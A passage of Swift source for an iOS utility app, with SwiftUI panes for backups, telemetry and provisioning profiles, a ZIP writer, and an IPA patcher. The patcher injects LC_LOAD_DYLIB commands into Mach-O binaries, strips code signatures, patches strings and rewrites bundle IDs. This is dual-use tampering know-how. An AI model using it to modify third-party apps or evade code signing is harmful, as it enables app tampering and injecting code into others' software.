} else {
error = "not Mach-O, or read denied"
}
}
}
// MARK: - Backup
struct BackupPane: View {
@State private var status = ""
@State private var busy = false
@State private var backups: [FileItem] = []
@State private var includeCaches = false
@State private var restoreTarget: FileItem?
private var backupDir: URL { Container.backups }
var body: some View {
ScrollView {
VStack(spacing: 14) {
Card {
VStack(alignment: .leading, spacing: 10) {
SectionLabel(text: t("pane.backup"))
Text(tl("把容器内的偏好、文稿与工具产物打成 ZIP。归档走同一写入器,可被 libarchive 解回。"))
.font(T.body).foregroundColor(.white.opacity(0.65))
.fixedSize(horizontal: false, vertical: true)
Toggle(isOn: $includeCaches) {
Text("Library/Caches").font(T.body).foregroundColor(.white.opacity(0.7))
}.tint(T.ember)
RunButton(title: busy ? t("common.loading") : t("pane.backup"),
systemImage: "archivebox.fill", tint: T.info, disabled: busy) { backup() }
}
}
if !status.isEmpty {
Card {
Text(status).font(T.monoSm).foregroundColor(.white.opacity(0.7))
.frame(maxWidth: .infinity, alignment: .leading)
.fixedSize(horizontal: false, vertical: true)
}
}
Card {
VStack(alignment: .leading, spacing: 8) {
HStack {
SectionLabel(text: "\(t("pane.backup")) (\(backups.count))")
Spacer()
Button { reload() } label: {
Image(systemName: "arrow.clockwise").font(.system(size: 11, weight: .bold))
}.tint(T.ember)
}
if backups.isEmpty {
Text(t("common.none")).font(T.monoSm).foregroundColor(.white.opacity(0.3))
} else {
ForEach(backups) { b in
HStack(spacing: 8) {
Text(b.name).font(T.monoSm)
.foregroundColor(.white.opacity(0.72)).lineLimit(1)
Spacer()
Text(b.displaySize).font(T.monoSm).foregroundColor(.white.opacity(0.3))
Button { restoreTarget = b } label: {
Image(systemName: "arrow.uturn.backward.circle").font(.system(size: 13))
}.tint(T.warn)
Button {
try? FileManager.default.removeItem(atPath: b.path)
reload()
} label: {
Image(systemName: "trash").font(.system(size: 12))
}.tint(T.bad)
}
}
}
}
}
}
.padding(16)
}
.onAppear(perform: reload)
.alert("Restore?", isPresented: Binding(
get: { restoreTarget != nil },
set: { if !$0 { restoreTarget = nil } })) {
Button("Restore", role: .destructive) {
if let t = restoreTarget { restore(t) }
restoreTarget = nil
}
Button(t("files.cancel"), role: .cancel) { restoreTarget = nil }
} message: {
Text(restoreTarget?.name ?? "")
}
}
private func reload() {
let fm = FileManager.default
try? fm.createDirectory(at: backupDir, withIntermediateDirectories: true)
let names = (try? fm.contentsOfDirectory(atPath: backupDir.path)) ?? []
backups = names.compactMap { name -> FileItem? in
guard name.hasSuffix(".zip") else { return nil }
let full = backupDir.appendingPathComponent(name).path
let size = ((try? fm.attributesOfItem(atPath: full))?[.size] as? NSNumber)?.int64Value ?? 0
return FileItem(name: name, path: full, isDirectory: false, size: size,
modified: nil, isSymlink: false)
}.sorted { $0.name > $1.name }
}
private func backup() {
busy = true
status = t("common.loading")
let fm = FileManager.default
let rootPath = Container.rootPath
let stamp = ISO8601DateFormatter().string(from: Date())
.replacingOccurrences(of: ":", with: "-")
let target = backupDir.appendingPathComponent("cinder27-\(stamp).zip")
let skipCaches = !includeCaches
let backupPrefix = "Documents/Cinder27/Backups/"
DispatchQueue.global(qos: .userInitiated).async {
var zip = ZipWriter()
var stored = 0
var skipped = 0
var bytes = 0
let limit = 400_000_000
if let enumerator = fm.enumerator(at: Container.root,
includingPropertiesForKeys: [.isRegularFileKey, .fileSizeKey],
options: [.skipsHiddenFiles]) {
for case let url as URL in enumerator {
guard let v = try? url.resourceValues(forKeys: [.isRegularFileKey, .fileSizeKey]),
v.isRegularFile == true else { continue }
let relative = url.path.replacingOccurrences(of: rootPath + "/", with: "")
if relative.hasPrefix(backupPrefix) { continue }
if skipCaches && relative.hasPrefix("Library/Caches/") { continue }
if let size = v.fileSize, size > 80_000_000 { skipped += 1; continue }
if bytes > limit { skipped += 1; continue }
guard let data = try? Data(contentsOf: url) else { skipped += 1; continue }
zip.add(relative, data)
stored += 1
bytes += data.count
}
}
let archive = zip.build()
var failure: String?
do {
try fm.createDirectory(at: self.backupDir, withIntermediateDirectories: true)
try archive.write(to: target, options: .atomic)
} catch {
failure = Container.describe(errno)
}
let produced = archive.count
DispatchQueue.main.async {
busy = false
status = failure.map { "\($0)" } ?? "✓ \(stored) files · \(ByteCountFormatter.string(fromByteCount: Int64(produced), countStyle: .file))" + (skipped > 0 ? " · \(skipped) skipped" : "")
reload()
}
}
}
private func restore(_ item: FileItem) {
busy = true
status = t("common.loading")
DispatchQueue.global(qos: .userInitiated).async {
guard let data = try? Data(contentsOf: URL(fileURLWithPath: item.path)) else {
DispatchQueue.main.async { busy = false; status = Container.describe(errno) }
return
}
let result = Runners.Archive.extractAll(data, to: Container.root)
DispatchQueue.main.async {
busy = false
status = "✓ \(result.count) · \(result.errors)"
}
}
}
}
// MARK: - Telemetry
struct TelemetryPane: View {
@State private var sections: [(String, [(String, String)])] = []
var body: some View {
ScrollView {
VStack(spacing: 14) {
ForEach(Array(sections.enumerated()), id: \.offset) { _, section in
Card {
VStack(alignment: .leading, spacing: 2) {
SectionLabel(text: section.0)
ForEach(Array(section.1.enumerated()), id: \.offset) { _, kv in
KeyValueRow(key: kv.0, value: kv.1)
}
}
}
}
}
.padding(16)
}
.onAppear {
sections = [
("Power", Telemetry.battery() + Telemetry.thermal()),
("Network", Telemetry.interfaces()),
]
}
}
}
// MARK: - Profiles
struct ProfilePane: View {
@State private var profiles: [ProfileCensus.Profile] = []
var body: some View {
ScrollView {
VStack(spacing: 14) {
if profiles.isEmpty {
Card {
Text("No provisioning profiles reachable. The device-level directory requires cross-container read.")
.font(T.body).foregroundColor(.white.opacity(0.55))
.fixedSize(horizontal: false, vertical: true)
}
}
ForEach(Array(profiles.enumerated()), id: \.offset) { _, p in
Card {
VStack(alignment: .leading, spacing: 2) {
Text(p.name).font(.system(size: 14, weight: .semibold, design: .rounded))
.foregroundColor(.white)
KeyValueRow(key: "UUID", value: p.uuid)
KeyValueRow(key: "Team", value: p.teamID)
KeyValueRow(key: "AppID", value: p.appID)
KeyValueRow(key: "Devices", value: "\(p.devices)")
if let e = p.expires {
KeyValueRow(key: "Expires", value: FileBrowser.dateFormatter.string(from: e))
}
}
}
}
}
.padding(16)
}
.onAppear { profiles = ProfileCensus.installed() }
}
}
+759
View File
@@ -0,0 +1,759 @@
import Foundation
import Darwin
import CoreText
import UIKit
// MARK: - ZIP writer (stored entries, no external dependency)
/// A minimal but correct ZIP writer. iOS installation only needs a valid archive, and
/// stored entries keep the whole thing deterministic — no compressor to get wrong.
struct ZipWriter {
struct Entry {
let name: String
let data: Data
}
private var entries: [Entry] = []
mutating func add(_ name: String, _ data: Data) {
entries.append(Entry(name: name, data: data))
}
mutating func add(url: URL, as name: String) {
guard let data = try? Data(contentsOf: url) else { return }
add(name, data)
}
static func crc32(_ bytes: [UInt8]) -> UInt32 {
var table = [UInt32](repeating: 0, count: 256)
for i in 0..<256 {
var c = UInt32(i)
for _ in 0..<8 { c = (c & 1) != 0 ? (0xEDB88320 ^ (c >> 1)) : (c >> 1) }
table[i] = c
}
var crc: UInt32 = 0xFFFFFFFF
for b in bytes { crc = table[Int((crc ^ UInt32(b)) & 0xFF)] ^ (crc >> 8) }
return crc ^ 0xFFFFFFFF
}
func build() -> Data {
var out = Data()
var central = Data()
let now = Date()
let cal = Calendar(identifier: .gregorian)
let comps = cal.dateComponents([.year, .month, .day, .hour, .minute, .second], from: now)
let dosTime = UInt16(((comps.hour ?? 0) << 11) | ((comps.minute ?? 0) << 5) | ((comps.second ?? 0) / 2))
let dosDate = UInt16((((comps.year ?? 2026) - 1980) << 9) | ((comps.month ?? 1) << 5) | (comps.day ?? 1))
var count: UInt16 = 0
for entry in entries {
let nameBytes = Array(entry.name.utf8)
let payload = [UInt8](entry.data)
let crc = Self.crc32(payload)
let offset = UInt32(out.count)
let size = UInt32(payload.count)
out.append(contentsOf: [0x50, 0x4B, 0x03, 0x04])
out.append(contentsOf: B.le16(20))
out.append(contentsOf: B.le16(0x0800)) // UTF-8 flag
out.append(contentsOf: B.le16(0)) // stored
out.append(contentsOf: B.le16(dosTime))
out.append(contentsOf: B.le16(dosDate))
out.append(contentsOf: B.le32(crc))
out.append(contentsOf: B.le32(size))
out.append(contentsOf: B.le32(size))
out.append(contentsOf: B.le16(UInt16(nameBytes.count)))
out.append(contentsOf: B.le16(0))
out.append(contentsOf: nameBytes)
out.append(contentsOf: payload)
central.append(contentsOf: [0x50, 0x4B, 0x01, 0x02])
central.append(contentsOf: B.le16(20)) // version made by
central.append(contentsOf: B.le16(20)) // version needed
central.append(contentsOf: B.le16(0x0800))
central.append(contentsOf: B.le16(0))
central.append(contentsOf: B.le16(dosTime))
central.append(contentsOf: B.le16(dosDate))
central.append(contentsOf: B.le32(crc))
central.append(contentsOf: B.le32(size))
central.append(contentsOf: B.le32(size))
central.append(contentsOf: B.le16(UInt16(nameBytes.count)))
central.append(contentsOf: B.le16(0))
central.append(contentsOf: B.le16(0))
central.append(contentsOf: B.le16(0))
central.append(contentsOf: B.le16(0))
central.append(contentsOf: B.le32(0))
central.append(contentsOf: B.le32(offset))
central.append(contentsOf: nameBytes)
count += 1
}
let centralOffset = UInt32(out.count)
out.append(central)
out.append(contentsOf: [0x50, 0x4B, 0x05, 0x06])
out.append(contentsOf: B.le16(0))
out.append(contentsOf: B.le16(0))
out.append(contentsOf: B.le16(count))
out.append(contentsOf: B.le16(count))
out.append(contentsOf: B.le32(UInt32(central.count)))
out.append(contentsOf: B.le32(centralOffset))
out.append(contentsOf: B.le16(0))
return out
}
}
// MARK: - Mach-O surgery
enum MachO {
struct Header {
var magic: UInt32
var cputype: UInt32
var cpusubtype: UInt32
var filetype: UInt32
var ncmds: UInt32
var sizeofcmds: UInt32
var flags: UInt32
var reserved: UInt32
var is64: Bool
var headerSize: Int { is64 ? 32 : 28 }
}
struct LoadCommand {
var cmd: UInt32
var size: UInt32
var offset: Int
}
static func header(_ data: Data) -> Header? {
guard data.count >= 32 else { return nil }
let magic = data.withUnsafeBytes { $0.load(fromByteOffset: 0, as: UInt32.self) }
guard magic == 0xFEEDFACF || magic == 0xFEEDFACE || magic == 0xCFFAEDFE else { return nil }
let is64 = magic == 0xFEEDFACF || magic == 0xCFFAEDFE
return Header(
magic: magic,
cputype: data.withUnsafeBytes { $0.load(fromByteOffset: 4, as: UInt32.self) },
cpusubtype: data.withUnsafeBytes { $0.load(fromByteOffset: 8, as: UInt32.self) },
filetype: data.withUnsafeBytes { $0.load(fromByteOffset: 12, as: UInt32.self) },
ncmds: data.withUnsafeBytes { $0.load(fromByteOffset: 16, as: UInt32.self) },
sizeofcmds: data.withUnsafeBytes { $0.load(fromByteOffset: 20, as: UInt32.self) },
flags: data.withUnsafeBytes { $0.load(fromByteOffset: 24, as: UInt32.self) },
reserved: is64 ? data.withUnsafeBytes { $0.load(fromByteOffset: 28, as: UInt32.self) } : 0,
is64: is64)
}
static func commands(_ data: Data) -> [LoadCommand] {
guard let h = header(data) else { return [] }
var out: [LoadCommand] = []
var offset = h.headerSize
for _ in 0..<min(Int(h.ncmds), 8192) {
guard offset + 8 <= data.count else { break }
let cmd = data.withUnsafeBytes { $0.load(fromByteOffset: offset, as: UInt32.self) }
let size = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 4, as: UInt32.self) }
guard size >= 8, offset + Int(size) <= data.count else { break }
out.append(LoadCommand(cmd: cmd, size: size, offset: offset))
offset += Int(size)
}
return out
}
/// Lowest file offset occupied by real segment content — the padding window we may
/// write into without moving anything.
static func firstSectionOffset(_ data: Data) -> Int? {
guard header(data) != nil else { return nil }
var lowest: Int?
for c in commands(data) where c.cmd == 0x19 || c.cmd == 0x1 { // LC_SEGMENT_64 / LC_SEGMENT
let is64 = c.cmd == 0x19
var sectionOffset = c.offset + (is64 ? 72 : 56)
let nsectsOffset = c.offset + (is64 ? 64 : 48)
guard nsectsOffset + 4 <= data.count else { continue }
let nsects = data.withUnsafeBytes { $0.load(fromByteOffset: nsectsOffset, as: UInt32.self) }
let sectSize = is64 ? 80 : 68
for _ in 0..<min(Int(nsects), 4096) {
guard sectionOffset + sectSize <= data.count else { break }
let offsetField = is64 ? sectionOffset + 48 : sectionOffset + 40
let fileOffset = data.withUnsafeBytes { $0.load(fromByteOffset: offsetField, as: UInt32.self) }
if fileOffset != 0 {
let v = Int(fileOffset)
if lowest == nil || v < lowest! { lowest = v }
}
sectionOffset += sectSize
}
}
return lowest
}
/// Append an LC_LOAD_DYLIB to a thin Mach-O. Returns the patched image, or throws when
/// there is no room in the header padding (which is the honest failure mode).
static func injectLoad(_ data: Data, dylibPath: String) throws -> Data {
guard let h = header(data) else { throw LabError(message: tl("不是 Mach-O")) }
guard h.is64 else { throw LabError(message: tl("只支持 64 位 Mach-O")) }
let pathBytes = Array(dylibPath.utf8)
let rawSize = 24 + pathBytes.count + 1
let cmdSize = (rawSize + 7) & ~7
let insertAt = h.headerSize + Int(h.sizeofcmds)
let limit = firstSectionOffset(data) ?? data.count
guard insertAt + cmdSize <= limit else {
throw LabError(message: tl("头部空隙不足:需要 ") + "\(cmdSize)" + tl(" B,可用 ") + "\(max(0, limit - insertAt))" + tl(" B"))
}
var out = data
var cmd = Data()
cmd.append(contentsOf: B.le32(0x0C)) // LC_LOAD_DYLIB
cmd.append(contentsOf: B.le32(UInt32(cmdSize)))
cmd.append(contentsOf: B.le32(24)) // name offset
cmd.append(contentsOf: B.le32(2)) // timestamp
cmd.append(contentsOf: B.le32(0x00010000)) // current version
cmd.append(contentsOf: B.le32(0x00010000)) // compat version
cmd.append(contentsOf: pathBytes)
cmd.append(0)
while cmd.count < cmdSize { cmd.append(0) }
out.replaceSubrange(insertAt..<(insertAt + cmdSize), with: cmd)
// bump ncmds / sizeofcmds
var ncmds = h.ncmds + 1
var sizeofcmds = h.sizeofcmds + UInt32(cmdSize)
withUnsafeBytes(of: &ncmds) { out.replaceSubrange(16..<20, with: $0) }
withUnsafeBytes(of: &sizeofcmds) { out.replaceSubrange(20..<24, with: $0) }
return out
}
/// Remove LC_CODE_SIGNATURE from the load-command stream so a re-sign starts clean.
///
/// The command is spliced out and the remaining commands are shifted down — zeroing it
/// in place would leave a cmdsize==0 hole and desync every loader that walks the list.
static func stripSignature(_ data: Data) throws -> (Data, Int) {
guard let h = header(data) else { throw LabError(message: tl("不是 Mach-O")) }
var out = data
var removed = 0
var offset = h.headerSize
var kept = Data()
for _ in 0..<min(Int(h.ncmds), 8192) {
guard offset + 8 <= data.count else { break }
let cmd = data.withUnsafeBytes { $0.load(fromByteOffset: offset, as: UInt32.self) }
let size = data.withUnsafeBytes { $0.load(fromByteOffset: offset + 4, as: UInt32.self) }
guard size >= 8, offset + Int(size) <= data.count else { break }
if cmd == 0x1D { // LC_CODE_SIGNATURE
removed += 1
} else {
kept.append(data[offset..<(offset + Int(size))])
}
offset += Int(size)
}
guard removed > 0 else { return (data, 0) }
// rewrite the command stream in place, then zero the tail of the old region
let streamStart = h.headerSize
let oldEnd = streamStart + Int(h.sizeofcmds)
out.replaceSubrange(streamStart..<(streamStart + kept.count), with: kept)
if streamStart + kept.count < oldEnd {
for i in (streamStart + kept.count)..<oldEnd { out[i] = 0 }
}
var ncmds = h.ncmds - UInt32(removed)
var sizeofcmds = UInt32(kept.count)
withUnsafeBytes(of: &ncmds) { out.replaceSubrange(16..<20, with: $0) }
withUnsafeBytes(of: &sizeofcmds) { out.replaceSubrange(20..<24, with: $0) }
return (out, removed)
}
static func patchStrings(_ data: Data, find: String, replace: String) throws -> (Data, Int) {
let needle = Array(find.utf8)
let replacement = Array(replace.utf8)
guard !needle.isEmpty else { throw LabError(message: tl("搜索串为空")) }
guard replacement.count <= needle.count else {
throw LabError(message: tl("替换串不能比原串长(") + "\(replacement.count)" + tl(" > ") + "\(needle.count)" + tl(")"))
}
var haystack = [UInt8](data)
var hits = 0
var i = 0
while i + needle.count <= haystack.count {
var matched = true
for k in 0..<needle.count where haystack[i + k] != needle[k] { matched = false; break }
if matched {
for k in 0..<replacement.count { haystack[i + k] = replacement[k] }
for k in replacement.count..<needle.count { haystack[i + k] = 0 }
hits += 1
i += needle.count
} else {
i += 1
}
}
return (Data(haystack), hits)
}
}
// MARK: - IPA surgery
struct IPARecipe {
var bundleID: String?
var displayName: String?
var version: String?
var buildVersion: String?
var minOS: String?
var injectedDylib: String?
var patchedString: String?
var patchedReplacement: String?
var stripSignature: Bool = true
}
struct IPAResult {
var outputURL: URL
var entries: Int
var notes: [String]
}
enum IPASurgeon {
static func patch(source: URL, recipe: IPARecipe, workdir: URL) throws -> IPAResult {
let fm = FileManager.default
let stage = workdir.appendingPathComponent("ipa-\(Int(Date().timeIntervalSince1970))", isDirectory: true)
try? fm.removeItem(at: stage)
try fm.createDirectory(at: stage, withIntermediateDirectories: true)
guard let archive = try? Data(contentsOf: source) else {
throw LabError(message: tl("读取 IPA 失败"))
}
let extracted = Runners.Archive.extractAll(archive, to: stage)
guard extracted.count > 0 else {
throw LabError(message: tl("解包失败:") + "\(extracted.status)")
}
var notes: [String] = [tl("解包 ") + "\(extracted.count)" + tl(" 项")]
let payload = stage.appendingPathComponent("Payload")
guard let appName = (try? fm.contentsOfDirectory(atPath: payload.path))?
.first(where: { $0.hasSuffix(".app") }) else {
throw LabError(message: tl("Payload/ 下没有 .app"))
}
let app = payload.appendingPathComponent(appName)
notes.append(tl("目标 ") + "\(appName)")
// ---- Info.plist rewrite
let infoURL = app.appendingPathComponent("Info.plist")
if var info = (try? Data(contentsOf: infoURL))
.flatMap({ try? PropertyListSerialization.propertyList(from: $0, format: nil) as? [String: Any] }) {
if let v = recipe.bundleID { info["CFBundleIdentifier"] = v; notes.append("bundle id → \(v)") }
if let v = recipe.displayName { info["CFBundleDisplayName"] = v; notes.append(tl("名称 → ") + "\(v)") }
if let v = recipe.version { info["CFBundleShortVersionString"] = v }
if let v = recipe.buildVersion { info["CFBundleVersion"] = v }
if let v = recipe.minOS { info["MinimumOSVersion"] = v }
if let data = try? PropertyListSerialization.data(fromPropertyList: info, format: .binary, options: 0) {
try? data.write(to: infoURL)
}
} else {
notes.append(tl("Info.plist 读取失败,跳过字段改写"))
}
// ---- executable surgery
guard let execName = (try? Data(contentsOf: infoURL))
.flatMap({ try? PropertyListSerialization.propertyList(from: $0, format: nil) as? [String: Any] })?["CFBundleExecutable"] as? String
?? (try? fm.contentsOfDirectory(atPath: app.path))?.first(where: { $0 == appName.replacingOccurrences(of: ".app", with: "") }) else {
throw LabError(message: tl("找不到主二进制名"))
}
let execURL = app.appendingPathComponent(execName)
if let binary = try? Data(contentsOf: execURL) {
var current = binary
if let dylib = recipe.injectedDylib, !dylib.isEmpty {
do {
current = try MachO.injectLoad(current, dylibPath: dylib)
notes.append(tl("注入 LC_LOAD_DYLIB → ") + "\(dylib)")
} catch {
notes.append(tl("注入失败: ") + "\(error.localizedDescription)")
}
}
if let find = recipe.patchedString, !find.isEmpty {
do {
let (patched, hits) = try MachO.patchStrings(current,
find: find,
replace: recipe.patchedReplacement ?? "")
current = patched
notes.append(tl("字符串替换 ") + "\(hits)" + tl(" 处"))
} catch {
notes.append(tl("替换失败: ") + "\(error.localizedDescription)")
}
}
if recipe.stripSignature {
if let (stripped, removed) = try? MachO.stripSignature(current) {
current = stripped
if removed > 0 { notes.append(tl("移除 LC_CODE_SIGNATURE ×") + "\(removed)") }
}
}
try? current.write(to: execURL)
} else {
notes.append(tl("主二进制读取失败(可能已加密)"))
}
// ---- repack
var zip = ZipWriter()
let enumerator = fm.enumerator(at: stage, includingPropertiesForKeys: [.isDirectoryKey])
var files = 0
while let url = enumerator?.nextObject() as? URL {
let values = try? url.resourceValues(forKeys: [.isDirectoryKey])
if values?.isDirectory == true { continue }
let relative = url.path.replacingOccurrences(of: stage.path + "/", with: "")
if let data = try? Data(contentsOf: url) {
zip.add(relative, data)
files += 1
}
}
notes.append(tl("重打包 ") + "\(files)" + tl(" 个文件"))
let outURL = workdir.appendingPathComponent("patched-\(appName.replacingOccurrences(of: ".app", with: "")).ipa")
try zip.build().write(to: outURL)
try? fm.removeItem(at: stage)
return IPAResult(outputURL: outURL, entries: files, notes: notes)
}
}
// MARK: - Hex editing
enum HexTool {
static func search(_ data: Data, pattern: String, limit: Int = 500) -> [Int] {
let needle: [UInt8]
if pattern.contains(" ") || pattern.hasPrefix("0x") {
let cleaned = pattern.replacingOccurrences(of: "0x", with: "")
.replacingOccurrences(of: " ", with: "")
guard cleaned.count % 2 == 0 else { return [] }
var bytes: [UInt8] = []
var i = cleaned.startIndex
while i < cleaned.endIndex {
let next = cleaned.index(i, offsetBy: 2)
guard let b = UInt8(cleaned[i..<next], radix: 16) else { return [] }
bytes.append(b)
i = next
}
needle = bytes
} else {
needle = Array(pattern.utf8)
}
guard !needle.isEmpty else { return [] }
var hits: [Int] = []
let hay = [UInt8](data)
var i = 0
while i + needle.count <= hay.count && hits.count < limit {
var matched = true
for k in 0..<needle.count where hay[i + k] != needle[k] { matched = false; break }
if matched { hits.append(i); i += needle.count } else { i += 1 }
}
return hits
}
static func replace(_ data: Data, pattern: String, with replacement: String) -> (Data, Int) {
var bytes = [UInt8](data)
let needle: [UInt8]
let replacementBytes: [UInt8]
if pattern.contains(" ") || pattern.hasPrefix("0x") {
let cleaned = pattern.replacingOccurrences(of: "0x", with: "").replacingOccurrences(of: " ", with: "")
var out: [UInt8] = []
var i = cleaned.startIndex
while i < cleaned.endIndex {
// odd trailing hex digit: malformed input, refuse instead of trapping
guard cleaned.distance(from: i, to: cleaned.endIndex) >= 2,
let next = Optional(cleaned.index(i, offsetBy: 2)),
let b = UInt8(cleaned[i..<next], radix: 16) else { return (data, 0) }
out.append(b)
i = next
}
needle = out
} else {
needle = Array(pattern.utf8)
}
if replacement.contains(" ") || replacement.hasPrefix("0x") {
let cleaned = replacement.replacingOccurrences(of: "0x", with: "").replacingOccurrences(of: " ", with: "")
var out: [UInt8] = []
var i = cleaned.startIndex
while i < cleaned.endIndex {
// odd trailing hex digit: malformed input, refuse instead of trapping
guard cleaned.distance(from: i, to: cleaned.endIndex) >= 2,
let next = Optional(cleaned.index(i, offsetBy: 2)),
let b = UInt8(cleaned[i..<next], radix: 16) else { return (data, 0) }
out.append(b)
i = next
}
replacementBytes = out
} else {
replacementBytes = Array(replacement.utf8)
}
guard !needle.isEmpty, replacementBytes.count <= needle.count else { return (data, 0) }
var hits = 0
var i = 0
while i + needle.count <= bytes.count {
var matched = true
for k in 0..<needle.count where bytes[i + k] != needle[k] { matched = false; break }
if matched {
for k in 0..<replacementBytes.count { bytes[i + k] = replacementBytes[k] }
for k in replacementBytes.count..<needle.count { bytes[i + k] = 0 }
hits += 1
i += needle.count
} else {
i += 1
}
}
return (Data(bytes), hits)
}
}
// MARK: - xattr / decmpfs surgery
enum XattrTool {
static func list(_ path: String) -> [(String, Int)] {
var size = listxattr(path, nil, 0, 0)
guard size > 0 else { return [] }
var buffer = [CChar](repeating: 0, count: size)
size = listxattr(path, &buffer, size, 0)
guard size > 0 else { return [] }
var names: [String] = []
var current: [CChar] = []
for c in buffer {
if c == 0 {
if !current.isEmpty { names.append(String(cString: current)); current = [] }
} else { current.append(c) }
}
return names.map { name in
var vlen = getxattr(path, name, nil, 0, 0, 0)
if vlen < 0 { vlen = 0 }
return (name, vlen)
}
}
static func read(_ path: String, name: String) -> Data? {
let len = getxattr(path, name, nil, 0, 0, 0)
guard len > 0 else { return nil }
var buffer = [UInt8](repeating: 0, count: len)
let got = getxattr(path, name, &buffer, len, 0, 0)
guard got > 0 else { return nil }
return Data(buffer.prefix(got))
}
@discardableResult
static func write(_ path: String, name: String, value: Data) -> String? {
let rc = value.withUnsafeBytes { raw -> Int32 in
guard let base = raw.baseAddress else { return -1 }
return setxattr(path, name, base, value.count, 0, 0)
}
return rc == 0 ? nil : "setxattr errno=\(errno)"
}
@discardableResult
static func remove(_ path: String, name: String) -> String? {
removexattr(path, name, 0) == 0 ? nil : "removexattr errno=\(errno)"
}
static func decmpfsHeader(_ data: Data) -> String {
guard data.count >= 16 else { return tl("数据过短") }
let magic = data.withUnsafeBytes { $0.load(fromByteOffset: 0, as: UInt32.self) }
guard magic == 0x636D_7066 else { return tl("不是 decmpfs(magic 0x") + "\(String(magic, radix: 16))" + tl(")") }
let type = data.withUnsafeBytes { $0.load(fromByteOffset: 4, as: UInt32.self) }
let size = data.withUnsafeBytes { $0.load(fromByteOffset: 8, as: UInt64.self) }
let names: [UInt32: String] = [3: "zlib", 4: "zlib-chunked", 7: "lzvn", 8: "lzfse", 9: "lzbitmap", 11: "lzfse-chunked", 12: "lzvn-chunked"]
return tl("magic cmpf · 类型 ") + "\(type)" + tl(" (") + "\(names[type] ?? tl("未知"))" + tl(") · 原始大小 ") + "\(size)" + tl(" B · xattr ") + "\(data.count)" + tl(" B")
}
}
// MARK: - SQLite
#if canImport(SQLite3)
import SQLite3
enum SQLiteBrowser {
struct Result {
var columns: [String]
var rows: [[String]]
var error: String?
}
static func tables(_ path: String) -> [String] {
query(path, "SELECT name FROM sqlite_master WHERE type='table' ORDER BY name;").rows.compactMap { $0.first }
}
static func query(_ path: String, _ sql: String) -> Result {
var db: OpaquePointer?
guard sqlite3_open_v2(path, &db, SQLITE_OPEN_READONLY, nil) == SQLITE_OK, let handle = db else {
return Result(columns: [], rows: [], error: tl("打开失败"))
}
defer { sqlite3_close(handle) }
var stmt: OpaquePointer?
guard sqlite3_prepare_v2(handle, sql, -1, &stmt, nil) == SQLITE_OK, let s = stmt else {
return Result(columns: [], rows: [], error: String(cString: sqlite3_errmsg(handle)))
}
defer { sqlite3_finalize(s) }
var columns: [String] = []
for i in 0..<sqlite3_column_count(s) {
columns.append(String(cString: sqlite3_column_name(s, i)))
}
var rows: [[String]] = []
while sqlite3_step(s) == SQLITE_ROW {
var row: [String] = []
for i in 0..<sqlite3_column_count(s) {
if let cstr = sqlite3_column_text(s, i) {
row.append(String(cString: cstr))
} else {
row.append("NULL")
}
}
rows.append(row)
if rows.count >= 2000 { break }
}
return Result(columns: columns, rows: rows, error: nil)
}
}
#endif
// MARK: - Font installer
enum FontInstaller {
static func install(_ url: URL) -> String {
var error: Unmanaged<CFError>?
let ok = CTFontManagerRegisterFontsForURL(url as CFURL, .user, &error)
if ok { return tl("已注册到用户字体域:") + "\(url.lastPathComponent)" }
if let e = error?.takeRetainedValue() {
return tl("注册失败:") + "\(e)"
}
return tl("注册失败(无错误信息)")
}
static func installed() -> [String] {
let descriptors = CTFontManagerCopyAvailablePostScriptNames() as? [String] ?? []
return descriptors.sorted()
}
}
// MARK: - System telemetry
enum Telemetry {
static func battery() -> [(String, String)] {
var rows: [(String, String)] = []
guard let sym = DyLib.shared.symbol("IOPSCopyPowerSourcesInfo") else {
return [(tl("电源"), tl("IOPSCopyPowerSourcesInfo 不可用"))]
}
typealias CopyFn = @convention(c) () -> Unmanaged<CFTypeRef>?
let fn = unsafeBitCast(sym, to: CopyFn.self)
guard let info = fn()?.takeRetainedValue() else { return [(tl("电源"), tl("无数据"))] }
let arr = info as? [[String: Any]] ?? []
for source in arr {
if let cap = source["Current Capacity"] as? Int,
let max = source["Max Capacity"] as? Int, max > 0 {
rows.append((tl("电量"), "\(cap * 100 / max)%"))
}
if let charging = source["Is Charging"] as? Bool {
rows.append((tl("充电中"), charging ? tl("是") : tl("否")))
}
if let name = source["Name"] as? String { rows.append((tl("电源"), name)) }
if let temp = source["Temperature"] as? Int { rows.append((tl("温度"), "\(Double(temp) / 10.0) °C")) }
}
if rows.isEmpty { rows.append((tl("电源"), tl("未返回数据(沙盒或接口不可用)"))) }
return rows
}
static func interfaces() -> [(String, String)] {
var rows: [(String, String)] = []
var addrs: UnsafeMutablePointer<ifaddrs>?
guard getifaddrs(&addrs) == 0, let first = addrs else { return [(tl("网络"), tl("getifaddrs 失败"))] }
defer { freeifaddrs(addrs) }
var seen = Set<String>()
var cursor: UnsafeMutablePointer<ifaddrs>? = first
while let p = cursor {
let ifa = p.pointee
let name = String(cString: ifa.ifa_name)
if !seen.contains(name), let addr = ifa.ifa_addr {
let family = addr.pointee.sa_family
if family == UInt8(AF_INET) || family == UInt8(AF_INET6) {
var host = [CChar](repeating: 0, count: Int(NI_MAXHOST))
if getnameinfo(addr, socklen_t(addr.pointee.sa_len), &host, socklen_t(host.count),
nil, 0, NI_NUMERICHOST) == 0 {
let text = String(cString: host)
if !text.hasPrefix("fe80") && text != "::1" && text != "127.0.0.1" {
rows.append((name, text))
seen.insert(name)
}
}
}
}
cursor = ifa.ifa_next
}
return rows.isEmpty ? [(tl("网络"), tl("无外部地址"))] : rows
}
static func thermal() -> [(String, String)] {
var rows: [(String, String)] = []
switch ProcessInfo.processInfo.thermalState {
case .nominal: rows.append((tl("热状态"), "nominal"))
case .fair: rows.append((tl("热状态"), "fair"))
case .serious: rows.append((tl("热状态"), "serious"))
case .critical: rows.append((tl("热状态"), "critical"))
@unknown default: rows.append((tl("热状态"), "unknown"))
}
rows.append((tl("低电量模式"), ProcessInfo.processInfo.isLowPowerModeEnabled ? tl("开") : tl("关")))
rows.append((tl("物理内存"), ByteCountFormatter.string(fromByteCount: Int64(ProcessInfo.processInfo.physicalMemory), countStyle: .memory)))
if let stats = Mach.vmStats() {
rows.append((tl("空闲"), ByteCountFormatter.string(fromByteCount: Int64(stats.free), countStyle: .memory)))
rows.append((tl("活跃"), ByteCountFormatter.string(fromByteCount: Int64(stats.active), countStyle: .memory)))
rows.append((tl("联动"), ByteCountFormatter.string(fromByteCount: Int64(stats.wired), countStyle: .memory)))
}
rows.append((tl("运行时长"), uptimeString()))
return rows
}
private static func uptimeString() -> String {
var boottime = timeval()
var size = MemoryLayout<timeval>.size
